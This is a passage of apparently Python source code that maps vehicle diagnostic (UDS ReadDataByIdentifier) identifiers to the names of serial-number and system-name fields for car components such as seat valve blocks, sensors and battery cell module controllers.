UDS_RDBI.dataIdentifiers[0x6af0] = "Air_coolant_actuator_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af1] = "Cell_module_controller_13_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af2] = "Cell_module_controller_14_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af3] = "Cell_module_controller_15_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af5] = "Seat_heating_rear_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af6] = "LED_warning_indicator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af7] = "Automatic_transmission_fluid_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af8] = "Manual_transmission_fluid_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6af9] = "Convenience_and_driver_assist_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afb] = "Air_coolant_actuator_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afc] = "Valve_block_4_in_driver_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afd] = "Valve_block_4_in_passenger_side_rear_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6afe] = "Valve_block_4_in_driver_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6aff] = "Valve_block_4_in_passenger_side_front_seat_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b01] = "Rear_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b02] = "Refrigerant_expansion_valve_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b03] = "Refrigerant_expansion_valve_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b04] = "Refrigerant_expansion_valve_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b05] = "Refrigerant_shut_off_valve_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b06] = "Refrigerant_shut_off_valve_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b07] = "Refrigerant_shut_off_valve_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b08] = "Refrigerant_shut_off_valve_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b09] = "Refrigerant_shut_off_valve_5_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0a] = "Sunlight_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0b] = "Near_field_communication_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0c] = "Clutch_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0d] = "Electrical_charger_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0e] = "Rear_light_left_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b0f] = "Rear_light_right_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b10] = "Rear_light_right_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b11] = "Sunlight_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b12] = "Radiator_shutter_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b13] = "Radiator_shutter_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b14] = "Radiator_shutter_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b15] = "Radiator_shutter_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b18] = "Special_key_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b19] = "Radio_interface_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1a] = "Video_self_protection_recorder_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1b] = "Special_vehicle_assist_interface_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1c] = "Electric_system_disconnection_diode_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1e] = "Belt_pretensioner_2nd_row_left_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b1f] = "Belt_pretensioner_2nd_row_right_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b20] = "Electrical_variable_camshaft_phasing_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b21] = "Electrical_variable_camshaft_phasing_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b22] = "Wireless_operating_unit_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b23] = "Wireless_operating_unit_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b24] = "Front_windshield_washer_pump_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b25] = "Air_quality_sensor_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b26] = "Fragrancing_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b27] = "Coolant_valve_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b28] = "Near_field_communication_control_module_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b29] = "Interior_monitoring_rear_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2a] = "Cooler_fan_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2b] = "Control_unit_heating_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2c] = "Control_unit_heating_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2d] = "Control_unit_heating_3_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2e] = "Control_unit_heating_4_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b2f] = "Operating_unit_drive_mode_selection_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b30] = "Side_sensor_a-pillar_driver_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b31] = "Side_sensor_a-pillar_passenger_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b32] = "Sensor_high_voltage_system_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b33] = "Side_sensor_b-pillar_driver_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b34] = "Side_sensor_b-pillar_passenger_front_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b35] = "Multi_function_steering_wheel_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b36] = "Gear_selection_display_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b37] = "Cooler_fan_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b38] = "Gear_selector_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b39] = "Interior_light_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3a] = "Radio_control_center_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3b] = "Multimedia_extension_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3c] = "Control_unit_differential_lock_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3d] = "Control_unit_ride_control_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3e] = "Control_unit_hands_on_detection_steering_wheel_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b3f] = "Front_climatronic_operating_and_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b40] = "Auxiliary_display_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b41] = "Card_reader_tv_tuner_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b42] = "Park_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b43] = "Media_connector_Serial_Number" UDS_RDBI.dataIdentifiers[0x6b44] = "Catalyst_heating_Serial_Number" UDS_RDBI.dataIdentifiers[0x6c01] = "Control_unit_for_wiper_motor_System_Name" UDS_RDBI.dataIdentifiers[0x6c02] = "Rain_light_recognition_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c03] = "Light_switch_System_Name" UDS_RDBI.dataIdentifiers[0x6c04] = "Garage_door_opener_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c05] = "Garage_door_opener_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c06] = "Ignition_key_System_Name" UDS_RDBI.dataIdentifiers[0x6c07] = "Left_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c08] = "Right_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c09] = "Left_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c0a] = "LED_headlamp_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c0b] = "LED_headlamp_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c0c] = "LED_headlamp_powermodule_2_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c0d] = "LED_headlamp_powermodule_2_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c0e] = "Operating_and_display_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c0f] = "Operating_and_display_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c10] = "Right_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c11] = "Data_medium_System_Name" UDS_RDBI.dataIdentifiers[0x6c12] = "Drivers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c13] = "Front_passengers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c14] = "Left_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x6c15] = "Right_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x6c16] = "Sensor_for_anti_theft_alarm_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c17] = "Rear_lid_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c18] = "Alarm_horn_System_Name" UDS_RDBI.dataIdentifiers[0x6c19] = "Automatic_day_night_interior_mirror_System_Name" UDS_RDBI.dataIdentifiers[0x6c1a] = "Remote_control_auxiliary_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6c1b] = "Fresh_air_blower_front_System_Name" UDS_RDBI.dataIdentifiers[0x6c1c] = "Fresh_air_blower_back_System_Name" UDS_RDBI.dataIdentifiers[0x6c1d] = "Alternator_System_Name" UDS_RDBI.dataIdentifiers[0x6c1e] = "Interior_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c1f] = "Refrigerant_pressure_and_temperature_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c20] = "Sun_roof_System_Name" UDS_RDBI.dataIdentifiers[0x6c21] = "Steering_column_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x6c22] = "Anti_theft_tilt_system_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c23] = "Tire_pressure_monitor_antenna_System_Name" UDS_RDBI.dataIdentifiers[0x6c24] = "Heated_windshield_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c25] = "Rear_light_left_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c26] = "Ceiling_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c27] = "Left_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c28] = "Right_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c29] = "Control_module_for_auxiliary_air_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6c2a] = "Belt Pretensioner left_System_Name" UDS_RDBI.dataIdentifiers[0x6c2b] = "Belt Pretensioner right_System_Name" UDS_RDBI.dataIdentifiers[0x6c2c] = "Occupant Detection_System_Name" UDS_RDBI.dataIdentifiers[0x6c2d] = "Selector_lever_System_Name" UDS_RDBI.dataIdentifiers[0x6c2e] = "NOx_sensor_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c2f] = "NOx_sensor_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c30] = "Ioniser_System_Name" UDS_RDBI.dataIdentifiers[0x6c31] = "Multi_function_steering_wheel_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c32] = "Left_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c33] = "Right_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c34] = "Left_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c35] = "Right_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c36] = "Display_unit_1_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c37] = "Battery_monitoring_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c38] = "Roof_blind_System_Name" UDS_RDBI.dataIdentifiers[0x6c39] = "Sun_roof_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c3a] = "Steering_angle_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c3b] = "Lane_change_assistant 2_System_Name" UDS_RDBI.dataIdentifiers[0x6c3c] = "Pitch_rate_sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c3d] = "ESP_sensor_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c3e] = "Electronic_ignition_lock_System_Name" UDS_RDBI.dataIdentifiers[0x6c3f] = "Air_quality_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c40] = "Display_unit_2_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c41] = "Telephone_handset_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c42] = "Chip_card_reader_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c43] = "Traffic_data_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x6c44] = "Hands_free_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c45] = "Telephone_handset_System_Name" UDS_RDBI.dataIdentifiers[0x6c46] = "Display_unit_front_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c47] = "Multimedia_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c48] = "Digital_sound_system_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c49] = "Electrically_adjustable_steering_column_System_Name" UDS_RDBI.dataIdentifiers[0x6c4a] = "Interface_for_external_multimedia_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c4b] = "Relative_Air_Humidity_Interior_Sender_System_Name" UDS_RDBI.dataIdentifiers[0x6c4c] = "Drivers_door_rear_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c4d] = "Passengers_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c4e] = "Sensor_controlled_power_rear_lid_System_Name" UDS_RDBI.dataIdentifiers[0x6c4f] = "Camera_for_night_vision_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c50] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" UDS_RDBI.dataIdentifiers[0x6c51] = "Rear_spoiler_adjustment_System_Name" UDS_RDBI.dataIdentifiers[0x6c52] = "Roof_blind_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c53] = "Motor_for_wind_deflector_System_Name" UDS_RDBI.dataIdentifiers[0x6c54] = "Voltage_stabilizer_System_Name" UDS_RDBI.dataIdentifiers[0x6c55] = "Switch_module_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c56] = "Switch_module_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c57] = "Switch_module_for_rear_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c58] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c59] = "Switch_module_2_for_driver_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c5a] = "Battery_charger_unit_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c5b] = "Battery_charger_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c5c] = "Battery_charger_unit_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c5d] = "Air_conditioning_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x6c5e] = "Neck_heating_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c5f] = "Neck_heating_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c60] = "Switch_module_2_for_front_passenger_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6c61] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6c62] = "Compact_disc_database_System_Name" UDS_RDBI.dataIdentifiers[0x6c63] = "Rear_climatronic_operating_and_display_unit_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c64] = "Rear_climatronic_operating_and_display_unit_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c65] = "Door_handle_front_left_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c66] = "Door_handle_front_right_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c67] = "Door_handle_rear_left_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c68] = "Door_handle_rear_right_Kessy_System_Name" UDS_RDBI.dataIdentifiers[0x6c69] = "Power_converter_DC_AC_System_Name" UDS_RDBI.dataIdentifiers[0x6c6a] = "Battery_monitoring_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c6b] = "Matrix_headlamp_powermodule_1_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c6c] = "Matrix_headlamp_powermodule_1_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c6d] = "High_beam_powermodule_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c6e] = "High_beam_powermodule_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c6f] = "Air_suspension_compressor_System_Name" UDS_RDBI.dataIdentifiers[0x6c70] = "Rear_brake_actuator_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c71] = "Rear_brake_actuator_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c72] = "Analog_clock_System_Name" UDS_RDBI.dataIdentifiers[0x6c73] = "Rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x6c79] = "Data_medium_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c7a] = "Operating_unit_center_console_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c7b] = "Operating_unit_center_console_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c7c] = "Operating_unit_center_console_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c7d] = "Operating_unit_center_console_4_System_Name" UDS_RDBI.dataIdentifiers[0x6c7e] = "Interface_for_radiodisplay_System_Name" UDS_RDBI.dataIdentifiers[0x6c7f] = "Parkassist_entry_System_Name" UDS_RDBI.dataIdentifiers[0x6c86] = "Belt_pretensioner_3rd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c87] = "Belt_pretensioner_3rd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c88] = "Injection_valve_heater_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c89] = "Steering_column_switch_System_Name" UDS_RDBI.dataIdentifiers[0x6c8a] = "Brake_assistance_System_Name" UDS_RDBI.dataIdentifiers[0x6c8b] = "Trailer_articulation_angle_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x6c8c] = "Cup_holder_with_heater_and_cooling_element_System_Name" UDS_RDBI.dataIdentifiers[0x6c8d] = "Range_of_vision_sensing_System_Name" UDS_RDBI.dataIdentifiers[0x6c8e] = "Convenience_and_driver_assist_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c8f] = "Cradle_rear_climatronic_operating_and_display_unit_System_Name" UDS_RDBI.dataIdentifiers[0x6c90] = "Trailer_weight_nose_weight_detection_System_Name" UDS_RDBI.dataIdentifiers[0x6c91] = "Sensor_carbon_dioxide_concentration_System_Name" UDS_RDBI.dataIdentifiers[0x6c92] = "Sensor_fine_dust_concentration_System_Name" UDS_RDBI.dataIdentifiers[0x6c93] = "Volume_control_1_System_Name" UDS_RDBI.dataIdentifiers[0x6c94] = "Belt_buckle_presenter_2nd_row_left_System_Name" UDS_RDBI.dataIdentifiers[0x6c95] = "Belt_buckle_presenter_2nd_row_right_System_Name" UDS_RDBI.dataIdentifiers[0x6c96] = "Operating_and_display_unit_6_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6c97] = "Active_accelerator_pedal_System_Name" UDS_RDBI.dataIdentifiers[0x6c98] = "Multimedia_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6c99] = "Display_unit_3_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9a] = "Display_unit_4_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9b] = "Display_unit_5_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x6c9c] = "Control_module_for_auxiliary_blower_motors_System_Name" UDS_RDBI.dataIdentifiers[0x6c9d] = "Operating_and_display_unit_3_System_Name" UDS_RDBI.dataIdentifiers[0x6c9e] = "Operating_and_display_unit_4_System_Name" UDS_RDBI.dataIdentifiers[0x6c9f] = "Operating_and_display_unit_5_System_Name" UDS_RDBI.dataIdentifiers[0x6ca0] = "Side Sensor Driver Front_System_Name" UDS_RDBI.dataIdentifiers[0x6ca1] = "Side Sensor Passenger Front_System_Name" UDS_RDBI.dataIdentifiers[0x6ca2] = "Side Sensor Driver Rear_System_Name" UDS_RDBI.dataIdentifiers[0x6ca3] = "Side Sensor Passenger Rear_System_Name" UDS_RDBI.dataIdentifiers[0x6ca4] = "Front Sensor Driver_System_Name" UDS_RDBI.dataIdentifiers[0x6ca5] = "Front Sensor Passenger_System_Name" UDS_RDBI.dataIdentifiers[0x6ca6] = "Pedestrian Protection Driver_System_Name" UDS_RDBI.dataIdentifiers[0x6ca7] = "Pedestrian Protection Passenger_System_Name" UDS_RDBI.dataIdentifiers[0x6ca8] = "Rear Sensor Center_System_Name" UDS_RDBI.dataIdentifiers[0x6ca9] = "Pedestrian Protection Center_System_Name" UDS_RDBI.dataIdentifiers[0x6caa] = "Pedestrian Protection Contact_System_Name" UDS_RDBI.dataIdentifiers[0x6cab] = "Pedestrian_protection_driver_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cac] = "Pedestrian_protection_passenger_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cad] = "Central_sensor_XY_System_Name" UDS_RDBI.dataIdentifiers[0x6cae] = "Refrigerant_pressure_and_temperature_sender_2_System_Name" UDS_RDBI.dataIdentifiers[0x6caf] = "Refrigerant_pressure_and_temperature_sender_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cb0] = "Switch_for_rear_multicontour_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb1] = "Valve_block_1_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb2] = "Valve_block_2_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb3] = "Valve_block_3_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb4] = "Switch_for_rear_multicontour_seat_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb5] = "Valve_block_1_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb6] = "Valve_block_2_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb7] = "Valve_block_3_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cb8] = "Switch_for_front_multicontour_seat_driver_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cb9] = "Valve_block_1_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cba] = "Valve_block_2_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbb] = "Valve_block_3_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbc] = "Switch_for_front_multicontour_seat_passenger_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cbd] = "Valve_block_1_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbe] = "Valve_block_2_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cbf] = "Valve_block_3_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cc0] = "Coolant_heater_System_Name" UDS_RDBI.dataIdentifiers[0x6cc1] = "Seat_backrest_fan_1_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc2] = "Seat_backrest_fan_2_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc3] = "Seat_cushion_fan_1_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc4] = "Seat_cushion_fan_2_front_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cc5] = "Seat_backrest_fan_1_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc6] = "Seat_backrest_fan_2_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc7] = "Seat_cushion_fan_1_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc8] = "Seat_cushion_fan_2_front_right_System_Name" UDS_RDBI.dataIdentifiers[0x6cc9] = "Operating_and_display_unit_1_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6cca] = "Operating_and_display_unit_2_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccb] = "Operating_and_display_unit_3_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccc] = "Operating_and_display_unit_4_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6ccd] = "Operating_and_display_unit_5_for_air_conditioning_System_Name" UDS_RDBI.dataIdentifiers[0x6cce] = "Pedestrian_protection_left_hand_side_System_Name" UDS_RDBI.dataIdentifiers[0x6ccf] = "Pedestrian_protection_right_hand_side_System_Name" UDS_RDBI.dataIdentifiers[0x6cd0] = "Battery_junction_box_System_Name" UDS_RDBI.dataIdentifiers[0x6cd1] = "Cell_module_controller_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cd2] = "Cell_module_controller_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cd3] = "Cell_module_controller_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cd4] = "Cell_module_controller_4_System_Name" UDS_RDBI.dataIdentifiers[0x6cd5] = "Cell_module_controller_5_System_Name" UDS_RDBI.dataIdentifiers[0x6cd6] = "Cell_module_controller_6_System_Name" UDS_RDBI.dataIdentifiers[0x6cd7] = "Cell_module_controller_7_System_Name" UDS_RDBI.dataIdentifiers[0x6cd8] = "Cell_module_controller_8_System_Name" UDS_RDBI.dataIdentifiers[0x6cd9] = "Cell_module_controller_9_System_Name" UDS_RDBI.dataIdentifiers[0x6cda] = "Cell_module_controller_10_System_Name" UDS_RDBI.dataIdentifiers[0x6cdb] = "Cell_module_controller_11_System_Name" UDS_RDBI.dataIdentifiers[0x6cdc] = "Cell_module_controller_12_System_Name" UDS_RDBI.dataIdentifiers[0x6cdd] = "Seat_backrest_fan_1_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cde] = "Seat_backrest_fan_2_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6cdf] = "Seat_cushion_fan_1_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6ce0] = "Seat_cushion_fan_2_rear_left_System_Name" UDS_RDBI.dataIdentifiers[0x6ce1] = "Seat_backrest_fan_1_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce2] = "Seat_backrest_fan_2_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce3] = "Seat_cushion_fan_1_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce4] = "Seat_cushion_fan_2_rear_right_System_Name" UDS_RDBI.dataIdentifiers[0x6ce5] = "Auxiliary_blower_motor_control_1_System_Name" UDS_RDBI.dataIdentifiers[0x6ce6] = "Auxiliary_blower_motor_control_2_System_Name" UDS_RDBI.dataIdentifiers[0x6ce7] = "Infrared_sender_for_front_observation_module_System_Name" UDS_RDBI.dataIdentifiers[0x6ce8] = "Starter_generator_control_module_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6ce9] = "Media_player_1_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6cea] = "Media_player_2_sub_System_Name" UDS_RDBI.dataIdentifiers[0x6ceb] = "Dedicated_short_range_communication_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x6cec] = "Refrigerant_pressure_and_temperature_sender_4_System_Name" UDS_RDBI.dataIdentifiers[0x6ced] = "Refrigerant_pressure_and_temperature_sender_5_System_Name" UDS_RDBI.dataIdentifiers[0x6cee] = "Refrigerant_pressure_and_temperature_sender_6_System_Name" UDS_RDBI.dataIdentifiers[0x6cef] = "Air_coolant_actuator_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cf0] = "Air_coolant_actuator_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cf1] = "Cell_module_controller_13_System_Name" UDS_RDBI.dataIdentifiers[0x6cf2] = "Cell_module_controller_14_System_Name" UDS_RDBI.dataIdentifiers[0x6cf3] = "Cell_module_controller_15_System_Name" UDS_RDBI.dataIdentifiers[0x6cf5] = "Seat_heating_rear_1_System_Name" UDS_RDBI.dataIdentifiers[0x6cf6] = "LED_warning_indicator_System_Name" UDS_RDBI.dataIdentifiers[0x6cf7] = "Automatic_transmission_fluid_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6cf8] = "Manual_transmission_fluid_pump_System_Name" UDS_RDBI.dataIdentifiers[0x6cf9] = "Convenience_and_driver_assist_operating_unit_2_System_Name" UDS_RDBI.dataIdentifiers[0x6cfb] = "Air_coolant_actuator_3_System_Name" UDS_RDBI.dataIdentifiers[0x6cfc] = "Valve_block_4_in_driver_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cfd] = "Valve_block_4_in_passenger_side_rear_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cfe] = "Valve_block_4_in_driver_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6cff] = "Valve_block_4_in_passenger_side_front_seat_System_Name" UDS_RDBI.dataIdentifiers[0x6d01] = 